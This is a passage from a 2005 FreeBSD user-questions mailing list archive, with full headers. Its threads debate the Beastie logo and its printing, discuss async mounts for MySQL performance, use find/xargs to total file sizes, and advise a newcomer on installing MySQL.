10 Feb 2005 22:49:50 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id DC3C843D45 for ; Thu, 10 Feb 2005 22:49:49 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 19AE21C0008D for ; Thu, 10 Feb 2005 23:49:48 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id DD6871C00091 for ; Thu, 10 Feb 2005 23:49:47 +0100 (CET) X-ME-UUID: 20050210224947906.DD6871C00091@mwinf1107.wanadoo.fr Date: Thu, 10 Feb 2005 23:49:47 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1661596661.20050210234947@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420BDBA1.4050601@tvog.net> References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> <894943359.20050210150947@wanadoo.fr> <420B6D42.9090203@tvog.net> <771446868.20050210210639@wanadoo.fr> <420BDBA1.4050601@tvog.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:49:50 -0000 Frank Laszlo writes: > Yes, Process colors being 4 plates, but rendered properly, it could be > less. All process printing requires four (or six) colors. That's what process means. > The current "logo" as it is shown on freebsd.org, COULD be printed on 2 > plates, as a 2 color job. those colors being black and red. Possibly. It would still look odd, though. > This isnt an issue with todays modern digital 4 color presses such as > the iGen3. It's an issue with any press. Digital presses have less trouble with registration, but they aren't any better at getting the line frequencies higher. Indeed, normal offset provides higher frequencies. > It has no problem with registration if ran by a qualified > operator. Now if you are a 80's or 90's printer using an old heidelburg > 2 color press, sure.. registration is very difficult when dealing with > small print and screens. What sort of printer would FreeBSD best be able to afford? > Furthermore, anyone with experience in the modern printing world knows > that getting high quality (and affordable) printed artwork on a small > piece is very simple when using the right equipment. It doesn't matter what equipment you use. Small artwork with lots of fine detail reduces poorly; if it contains halftones, it reduces even more poorly. > I've done several of these type of jobs on the iGen3 we have here at > my office. Anyways, this is WAY off from the original post, So I end > it with that. Actually it is highly relevant, since a key reason for developing a simple logo is to make it easy to display and print. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 23:15:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 413D816A4CE for ; Thu, 10 Feb 2005 23:15:00 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id CB47443D1F for ; Thu, 10 Feb 2005 23:14:59 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id 9DD4FC0C5 for ; Thu, 10 Feb 2005 18:15:07 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 18:15:06 -0500 User-Agent: KMail/1.7.1 References: <20050209162202.I31921@knight.ixsystems.net> <1108005975.683.47.camel@zircon.zircon.seattle.wa.us> <420BD7DD.5000304@fastclick.com> In-Reply-To: <420BD7DD.5000304@fastclick.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502101815.07092.ean@hedron.org> Subject: Re: FreeBSD 5.3 MySQL Performance X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 23:15:00 -0000 On February 10, 2005 04:53 pm, Jeff Behl wrote: > >Any so-called "benchmark" comparing Linux to anything else (especially > >windoze) has been polluted by the tradition in the linux/windoze world > >of running their disks in the completely unsafe "asynchronous" mode so > >popular with the ATA disk drive manufacturers. This method means that > >you never actually know whether or not the drive ever writes your data > >on the disk. It could just sit in the cache waiting for a power failure > >so that you lose everything. This "async" mode means that the > >benchmarks "look" fast but are completely unsafe. > > so by this logic, if i re-mount my partitions async i can get the same > performance? this isn't meant as a rub, i would seriously consider > doing this if it were the case. i'd like to know any and all ways i can > make mysql faster. we have fleats of mysql servers with redundant > data. the loss of a server due to corruption is not problematic You will get significant speed increase out of your filesystem(s) if you mount them async. BUT if you don't unmount them properly you will have corrupted filesystems. I do this with /tmp. -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 23:15:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E2A0A16A4D0 for ; Thu, 10 Feb 2005 23:15:13 +0000 (GMT) Received: from smtp801.mail.sc5.yahoo.com (smtp801.mail.sc5.yahoo.com [66.163.168.180]) by mx1.FreeBSD.org (Postfix) with SMTP id 5DE5D43D1D for ; Thu, 10 Feb 2005 23:15:05 +0000 (GMT) (envelope-from chris@chris-s.com) Received: from unknown (HELO nitrous.chris-s.com) (straycat40@sbcglobal.net@216.100.251.65 with plain) by smtp801.mail.sc5.yahoo.com with SMTP; 10 Feb 2005 23:14:57 -0000 Received: from nitrous.chris-s.com (localhost.chris-s.com [127.0.0.1]) by nitrous.chris-s.com (8.13.1/8.12.10) with ESMTP id j1ANHJBQ024144 for ; Thu, 10 Feb 2005 15:17:19 -0800 (PST) (envelope-from chris@nitrous.chris-s.com) Received: (from chris@localhost) by nitrous.chris-s.com (8.13.1/8.12.10/Submit) id j1ANHJ2p024143 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 15:17:19 -0800 (PST) (envelope-from chris) Date: Thu, 10 Feb 2005 15:17:19 -0800 From: Chris Sechiatano To: FreeBSD Mailing list Message-ID: <20050210231719.GA24067@chris-s.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-PGP-Key: 0x0021EFA0 Subject: Script Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 23:15:14 -0000 Hello, I'm sure everybody loves these kind of questions, but I really appreciate the help. I have a filesystem which is being used by MS workstations. People are storing mp3's, jpgs and other 'non work related files' on here and the management asked me to find all the files and how much space they are using. I created a locate database of the filesystem so I can search that, but the problem is it doesn't show the file sizes. I tried to pipe the output to xargs, but that didn't work either. The file names and paths are pretty long and there's lots of file with single quotes and spaces that xargs does not like I guess. ex: /home/users/CRANESP1/Backup from 7-19-04/My Document's Backup 10-01-02/e-mails to save/eyetest_1.wmv Does anybody have anything that would work in this case? I need to do this for about 40k files. Thanks -- Chris Sechiatano chris@chris-s.com PGP Key 0x0021EFA0 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 23:21:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7BB4F16A4CE for ; Thu, 10 Feb 2005 23:21:52 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0D48C43D54 for ; Thu, 10 Feb 2005 23:21:52 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j1ANLUOW083918; Thu, 10 Feb 2005 17:21:30 -0600 (CST) (envelope-from dan) Date: Thu, 10 Feb 2005 17:21:30 -0600 From: Dan Nelson To: Chris Sechiatano Message-ID: <20050210232130.GA47451@dan.emsphone.com> References: <20050210231719.GA24067@chris-s.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050210231719.GA24067@chris-s.com> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.7i cc: FreeBSD Mailing list Subject: Re: Script Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 23:21:52 -0000 In the last episode (Feb 10), Chris Sechiatano said: > I'm sure everybody loves these kind of questions, but I really > appreciate the help. > > I have a filesystem which is being used by MS workstations. People > are storing mp3's, jpgs and other 'non work related files' on here > and the management asked me to find all the files and how much space > they are using. I recommend ports/x11-fm/xdiskusage, which can give you a nice visual representation of the space used by directories and files. There's a screenshot at http://xdiskusage.sourceforge.net/ . I also have a patch that lets you generate the postscript printout without the gui popping up (good for a weekly cron job that either prints the report or runs ps2pdf and emails it to management): http://sourceforge.net/tracker/index.php?func=detail&aid=1102640&group_id=9815&atid=309815 -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 23:33:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7184C16A4CE for ; Thu, 10 Feb 2005 23:33:27 +0000 (GMT) Received: from kane.otenet.gr (kane.otenet.gr [195.170.0.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id E300343D48 for ; Thu, 10 Feb 2005 23:33:20 +0000 (GMT) (envelope-from keramida@ceid.upatras.gr) Received: from orion.daedalusnetworks.priv (aris.bedc.ondsl.gr [62.103.39.226])j1ANXANM004578; Fri, 11 Feb 2005 01:33:10 +0200 Received: from orion.daedalusnetworks.priv (orion [127.0.0.1]) j1ANXBl8003942; Fri, 11 Feb 2005 01:33:11 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost)j1ANXBoY003941; Fri, 11 Feb 2005 01:33:11 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Date: Fri, 11 Feb 2005 01:33:11 +0200 From: Giorgos Keramidas To: Chris Sechiatano Message-ID: <20050210233311.GB3861@orion.daedalusnetworks.priv> References: <20050210231719.GA24067@chris-s.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050210231719.GA24067@chris-s.com> cc: freebsd-questions@freebsd.org Subject: Re: Script Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 23:33:27 -0000 On 2005-02-10 15:17, Chris Sechiatano wrote: > > I have a filesystem which is being used by MS workstations. People > are storing mp3's, jpgs and other 'non work related files' on here and > the management asked me to find all the files and how much space they > are using. > > I created a locate database of the filesystem so I can search that, > but the problem is it doesn't show the file sizes. I tried to pipe > the output to xargs, but that didn't work either. The file names and > paths are pretty long and there's lots of file with single quotes and > spaces that xargs does not like I guess. > > ex: > > /home/users/CRANESP1/Backup from 7-19-04/My Document's Backup 10-01-02/e-mails to save/eyetest_1.wmv > > Does anybody have anything that would work in this case? I need to do > this for about 40k files. Use -print0 (that's a zero at the end of print), and the -0 option of xargs. Then the whitespace shouldn't matter. # cd /storage/users # find . -type d -print0 | xargs -0 du -sk That should do it. - Giorgos From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 23:33:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7CA4216A4CE for ; Thu, 10 Feb 2005 23:33:51 +0000 (GMT) Received: from ptb-relay02.plus.net (ptb-relay02.plus.net [212.159.14.213]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3840243D2D for ; Thu, 10 Feb 2005 23:33:51 +0000 (GMT) (envelope-from ian@codepad.net) Received: from [80.229.159.44] (helo=hercules.codepad.net) by ptb-relay02.plus.net with esmtp (Exim) id 1CzNoj-0006lX-LJ for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 23:33:49 +0000 From: Xian To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 23:33:48 +0000 User-Agent: KMail/1.7 References: <200502102147.10722.ian@codepad.net> <20050210215158.GC31772@nosferatu.blackend.org> In-Reply-To: <20050210215158.GC31772@nosferatu.blackend.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502102333.48699.ian@codepad.net> Subject: Re: formatting a DVD+RW X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 23:33:51 -0000 On Thursday 10 February 2005 21:51, Marc Fonvieille wrote: > Under 5.X or 4.X ? 5.3R -- /Xian "I am convinced that He (God) does not play dice." Albert Einstein From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 23:43:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8779716A4CE for ; Thu, 10 Feb 2005 23:43:21 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5BCAA43D1D for ; Thu, 10 Feb 2005 23:43:21 +0000 (GMT) (envelope-from cinnur@comcast.net) Received: from [192.168.1.11] (tardiss.ne.client2.attbi.com[66.30.82.93]) by comcast.net (rwcrmhc11) with ESMTP id <2005021023432001300mclvle>; Thu, 10 Feb 2005 23:43:21 +0000 Message-ID: <420BF178.9010107@comcast.net> Date: Thu, 10 Feb 2005 18:42:48 -0500 From: Sean User-Agent: Mozilla Thunderbird 1.0 (X11/20050201) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: SQL Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: cinnur@comcast.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 23:43:21 -0000 I would like to install SQL here for my own use, not for any real life currently, round now for learning. Right now plan to install MySQL. Looking through the ports there is numerous version and some say for server, some say for client. Looking for some tips as to what version of SQL and tools to install? Also wondering if anyone can point me towards documentation in my learning efforts? Thanks Sean From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 23:44:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 117DA16A4CE for ; Thu, 10 Feb 2005 23:44:36 +0000 (GMT) Received: from scorpion.eng.ufl.edu (scorpion.eng.ufl.edu [128.227.116.10]) by mx1.FreeBSD.org (Postfix) with SMTP id 6FBC043D3F for ; Thu, 10 Feb 2005 23:44:35 +0000 (GMT) (envelope-from bob89@eng.ufl.edu) Received: (qmail 16875 invoked from network); 10 Feb 2005 23:44:35 -0000 Received: from scanner.engnet.ufl.edu (HELO ?128.227.152.221?) (128.227.152.221) by scorpion.eng.ufl.edu with SMTP; 10 Feb 2005 23:44:35 -0000 Message-ID: <420BF1E0.6090809@eng.ufl.edu> Date: Thu, 10 Feb 2005 18:44:32 -0500 From: Bob Johnson Organization: University of Florida User-Agent: Mozilla Thunderbird 1.0 (X11/20050131) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: Jacob S Subject: Re: Please don't change Beastie to another logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 23:44:36 -0000 > Date: Thu, 10 Feb 2005 15:31:30 -0600 > From: Jacob S > Subject: Re: Please don't change Beastie to another logo such asNetBSD!!! [...] > Maybe 'beastie' will turn away some potential users, and maybe it's not > "politically correct", and maybe it's not the optimal "business image". > But please stop saying this is all because of some "wacko Bible > thumpers" that don't like daemons. All of the Christians I know are > smart enough to recognize the difference between a "demon" and a Disk > And Executive MONitor[1]. I work in an office largely populated by born-again Christians, and some of them very definitely object to the BSD logo. Even after I explained the "daemon" thing, they still didn't think BSD should use "The Devil" as its logo. It IS because of "Bible thumpers". If it weren't for them, we wouldn't be having this discussion. [...] > > And a very poor example, IMHO. Can you give any proof that it's a valid > example to say that Christians object to the use of the acronym "daemon" > in Unix-like operating systems? I have not been able to find any proof > on this list, the 19 Linux e-mail lists I am on, or the 2 or 3 > computer/programming forums I occasionally visit. Only my personal experience. In addition to not being comfortable with the BSD logo, a couple of the programmers here didn't like my Ouija-board mouse pad, because they associated it with the occult, and thus The Devil. - Bob From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 00:01:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 73A7116A5A8 for ; Fri, 11 Feb 2005 00:01:02 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9284A43D5C for ; Fri, 11 Feb 2005 00:00:27 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id 8143EC0C5; Thu, 10 Feb 2005 19:00:35 -0500 (EST) From: Ean Kingston To: freebsd-questions@freebsd.org, cinnur@comcast.net Date: Thu, 10 Feb 2005 19:00:34 -0500 User-Agent: KMail/1.7.1 References: <420BF178.9010107@comcast.net> In-Reply-To: <420BF178.9010107@comcast.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502101900.34862.ean@hedron.org> Subject: Re: SQL Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 00:01:02 -0000 On February 10, 2005 06:42 pm, Sean wrote: > I would like to install SQL here for my own use, not for any real life > currently, round now for learning. > > Right now plan to install MySQL. > Looking through the ports there is numerous version and some say for > server, some say for client. > > Looking for some tips as to what version of SQL and tools to install? If you want to play with an SQL server, you are going to need one of the mysql-server ports/packages. Since this would be a new install for you and you don't really have any requirements I would suggest going with the newest production version (not a development release). The client is included with the server. In a production environment, the client would often be installed on many systems but the server only on a few. > Also wondering if anyone can point me towards documentation in my > learning efforts? http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ports.html http://www.mysql.com/ SQL servers are complicated things. Read through the documentation, follow examples and try them out for yourself. -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 00:01:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B489E16A4CF for ; Fri, 11 Feb 2005 00:01:48 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9A0F643D46 for ; Fri, 11 Feb 2005 00:01:48 +0000 (GMT) (envelope-from mag@hamletinc.com) Received: from [192.168.12.99] (c-24-19-27-240.client.comcast.net[24.19.27.240]) by comcast.net (rwcrmhc11) with ESMTP id <2005021100014701300mb3vqe>; Fri, 11 Feb 2005 00:01:48 +0000 Message-ID: <420BF588.80306@hamletinc.com> Date: Thu, 10 Feb 2005 16:00:08 -0800 From: "Mark A. Garcia" User-Agent: Mozilla Thunderbird 0.6 (X11/20040519) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bob Johnson References: <420BF1E0.6090809@eng.ufl.edu> In-Reply-To: <420BF1E0.6090809@eng.ufl.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: Jacob S cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 00:01:48 -0000 Bob Johnson wrote: > I work in an office largely populated by born-again Christians, and > some of them very definitely object to the BSD logo. Even after I > explained the "daemon" thing, they still didn't think BSD should use > "The Devil" as its logo. > > It IS because of "Bible thumpers". If it weren't for them, we > wouldn't be having this discussion. > So is it, "Bible thumpers" equals, born-again Christians? Or could one say that just "Bible thumpers" in general, or maybe "Koran thumpers", or even "Torah thumpers"? > Only my personal experience. In addition to not being comfortable > with the BSD logo, a couple of the programmers here didn't like my > Ouija-board mouse pad, because they associated it with the occult, and > thus The Devil. > I'd like to hear a story of a system administrator who has chosen not to use FreeBSD explicitly because of the logo. That would be way more entertaining. Everyone could learn more about human nature. -.mag From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 00:22:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D1DE216A4CE for ; Fri, 11 Feb 2005 00:22:12 +0000 (GMT) Received: from smtp802.mail.sc5.yahoo.com (smtp802.mail.sc5.yahoo.com [66.163.168.181]) by mx1.FreeBSD.org (Postfix) with SMTP id 9D18E43D31 for ; Fri, 11 Feb 2005 00:22:12 +0000 (GMT) (envelope-from chris@chris-s.com) Received: from unknown (HELO nitrous.chris-s.com) (straycat40@sbcglobal.net@216.100.251.65 with plain) by smtp802.mail.sc5.yahoo.com with SMTP; 11 Feb 2005 00:22:12 -0000 Received: from nitrous.chris-s.com (localhost.chris-s.com [127.0.0.1]) by nitrous.chris-s.com (8.13.1/8.12.10) with ESMTP id j1B0OYlO024603 for ; Thu, 10 Feb 2005 16:24:35 -0800 (PST) (envelope-from chris@nitrous.chris-s.com) Received: (from chris@localhost) by nitrous.chris-s.com (8.13.1/8.12.10/Submit) id j1B0OYiD024602 for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 16:24:34 -0800 (PST) (envelope-from chris) Date: Thu, 10 Feb 2005 16:24:34 -0800 From: Chris Sechiatano To: freebsd-questions@freebsd.org Message-ID: <20050211002434.GC24067@chris-s.com> References: <20050210231719.GA24067@chris-s.com> <20050210233311.GB3861@orion.daedalusnetworks.priv> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050210233311.GB3861@orion.daedalusnetworks.priv> User-Agent: Mutt/1.4.2.1i X-PGP-Key: 0x0021EFA0 Subject: Re: Script Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 00:22:13 -0000 This is close to what I was trying before. Is there a way I can pipe the output of locate into xargs? The filesystem is 680 Gigs and I'd like to only search it once if possible. This doesn't work: # slocate -i -d /tmp/04vfile001_db *.wmv | xargs -0 ls -l Thanks On Fri, Feb 11, 2005 at 01:33:11AM +0200, Giorgos Keramidas wrote: > > Use -print0 (that's a zero at the end of print), and the -0 option of > xargs. Then the whitespace shouldn't matter. > > # cd /storage/users > # find . -type d -print0 | xargs -0 du -sk > > That should do it. > > - Giorgos From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 00:35:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 494F816A4CF for ; Fri, 11 Feb 2005 00:35:15 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9B65143D5A for ; Fri, 11 Feb 2005 00:35:14 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from pcp01940037pcs.waldlk01.mi.comcast.net ([68.32.91.204] helo=[192.168.1.100]) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1CzOlj-0001FB-Fm; Thu, 10 Feb 2005 19:34:47 -0500 Message-ID: <420BFDCF.1000409@tvog.net> Date: Thu, 10 Feb 2005 19:35:27 -0500 From: "Frank J. Laszlo" User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org, atkielski.anthony@wanadoo.fr References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> <894943359.20050210150947@wanadoo.fr> <420B6D42.9090203@tvog.net> <771446868.20050210210639@wanadoo.fr> <420BDBA1.4050601@tvog.net> <1661596661.20050210234947@wanadoo.fr> In-Reply-To: <1661596661.20050210234947@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 00:35:15 -0000 Anthony Atkielski wrote: >Frank Laszlo writes: > > > >>Yes, Process colors being 4 plates, but rendered properly, it could be >>less. >> >> > >All process printing requires four (or six) colors. That's what process >means. > > > >>The current "logo" as it is shown on freebsd.org, COULD be printed on 2 >>plates, as a 2 color job. those colors being black and red. >> >> > >Possibly. It would still look odd, though. > > > >>This isnt an issue with todays modern digital 4 color presses such as >>the iGen3. >> >> > >It's an issue with any press. Digital presses have less trouble with >registration, but they aren't any better at getting the line frequencies >higher. Indeed, normal offset provides higher frequencies. > > > >>It has no problem with registration if ran by a qualified >>operator. Now if you are a 80's or 90's printer using an old heidelburg >>2 color press, sure.. registration is very difficult when dealing with >>small print and screens. >> >> > >What sort of printer would FreeBSD best be able to afford? > > Well, I'm not going into budget issues, but yes you have a point here. I am open to quote any print job if the FreeBSD Foundation so chooses to do official corporate print work. e.g. letterhead, business cards, printed manuals, etc.. I would of course give my normal discount as I do with any other non-profit organizations. > > >>Furthermore, anyone with experience in the modern printing world knows >>that getting high quality (and affordable) printed artwork on a small >>piece is very simple when using the right equipment. >> >> > >It doesn't matter what equipment you use. Small artwork with lots of >fine detail reduces poorly; if it contains halftones, it reduces even >more poorly. > > > Who says it has to be small? and how small are you talking for print work? on a CD? thats not very small IMHO. One should be able to attain excellent quality at that size. I consider "small" artwork to be < 1in. >>I've done several of these type of jobs on the iGen3 we have here at >>my office. Anyways, this is WAY off from the original post, So I end >>it with that. >> >> > >Actually it is highly relevant, since a key reason for developing a >simple logo is to make it easy to display and print. > > Getting back to the point at hand, the beastie is nothing more than a mascot. plain and simple. But people are talking like there will be no more beastie representing FreeBSD. I dont think this is the point. Also, whoever started that petition needs to actually get some inside information other than a "non publicized" (sp?) anouncement. The true intention of this logo contest is likely to give more of a corporate identity to freebsd as a whole. I am now done with this thread. Once again, I will end it. (hopefully) :) Kind Regards, Frank Laszlo From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 00:45:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BBBA616A4CE for ; Fri, 11 Feb 2005 00:45:13 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 610D043D31 for ; Fri, 11 Feb 2005 00:45:13 +0000 (GMT) (envelope-from danie.dutoit@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so224384wra for ; Thu, 10 Feb 2005 16:45:08 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; 